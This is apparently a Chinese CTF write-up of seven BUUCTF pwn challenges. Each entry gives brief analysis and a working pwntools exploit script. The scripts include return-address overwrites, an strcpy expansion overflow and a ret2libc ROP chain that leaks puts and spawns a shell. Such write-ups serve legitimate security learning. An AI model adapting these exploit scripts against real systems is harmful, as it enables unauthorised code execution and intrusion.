buuctf pwn wp---part1

pwn難啊

 

1、test_your_nc

測試你nc，不用說，連上就有。

2、rip

ida中已經包含了system函數：

 

 

 

溢出，覆蓋rip為fun函數，peda計算偏移為23:

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',27146)
#p = process('./pwn1')

flag_addr = 0x40118A
payload = 0xf*'a' +'a'*8 + p64(flag_addr)

#print p.recv()
p.sendline(payload)
p.interactive()

 

3、warmup_csaw_2016

ida中，可以看到，存在溢出

 

 

 

 

 

 

 

 

 使用peda計算偏移為72

 

 

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',29050)
#p = process('./warmup_csaw_2016')

catflag_addr = 0x40060d

payload = 'A'*72 + p64(catflag_addr)

#print p.recv()
p.sendline(payload)

p.interactive()

 

4、pwn1_sctf_2016

先check一下文件

 

文件開啟了NX。使用ida查看：

 

 程序功能：將輸入的所有的‘I’轉化為you，然后輸出“So,[輸入]”

在fgets處，對輸入的s進行了限制，不能溢出。但是在strcpy函數中，未對s進行限制，v0對輸入的I進行變換后：V0長度=I的個數*3。

輸入的I的長度最多為32，那么V0最長為32*3=96，遠大於3C（60），可以進行溢出，需要3C+4 = 64位 = 21個‘I’ + 1個‘A’

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',29641)
#p = process('./pwn1_sctf_2016')
#p = remote('xxxxx',xxxx)

catflag_addr = 0x8048f0d

payload = 21*'I' +'A'+ p32(catflag_addr)

#print p.recvuntil('yourself:')
p.sendline(payload)

p.interactive()

 

 5、ciscn_2019_c_1

先check一下，開啟了Nx和Relro

 

ida中為找到system函數和‘/bin/sh’等字符，需要利用ROP和LibcSearcher庫查找libc

在encrypt（）函數中發現gets函數，這個是一個溢出點

 

 

 

 

 

可以通過溢出puts函數，泄露出puts函數的地址，找到libc，計算出system和'/bin/sh'的地址，然后執行system（‘/bin/sh’）

注意encryt（）函數會修改我們的payload，所以第一位用'\0'避開。

 偏移為：0x50+8

#!python
#coding:utf-8

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']
ret = 0x4006b9
pop_rdi = 0x400c83
sh = 0
lib = 0


def main(ip,port,debug):
    global sh
    global lib
    if debug == 1:
        sh = process('./ciscn_2019_c_1')
    else:
        sh = remote(ip,port)

    sh.sendlineafter('choice!\n','1')
    payload = '\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
    sh.sendlineafter('encrypted\n',payload)
    sh.recvline()
    sh.recvline()
    puts = u64(sh.recvuntil('\n')[:-1].ljust(8,'\0'))
    libc = LibcSearcher('puts',puts)
    libcbase = puts - libc.dump('puts')
    binsh = libcbase + libc.dump('str_bin_sh')
    sys_addr = libcbase + libc.dump('system')
    sh.sendlineafter('choice!\n','1')
    payload2 = '\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
    sh.sendlineafter('encrypted\n',payload2)
    sh.interactive()

if __name__ == '__main__':

    main('node3.buuoj.cn',27020,0)

 

 

6、ciscn_2019_n_1

先check一下，開啟了NX和RELRO

 

 

 查看字符串，能看到，或許是和flag相關

 

 

可以看到危險函數gets，存在溢出，可以通過v1覆蓋v2的值從而執行system函數獲取flag

 

 

 

 

 

通過跟隨。可以知道11.28125地址為：0x41348000，偏移為：0x2c

 

 

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',26929)
#p = ('./ciscn_2019_n_1')

v2_addr = 0x41348000

payload = 0x2c*'a' + p64(v2_addr)

print p.recv()
p.sendline(payload)

p.interactive()

 

7、ciscn_2019_en_2

同上5

 

待續。。。。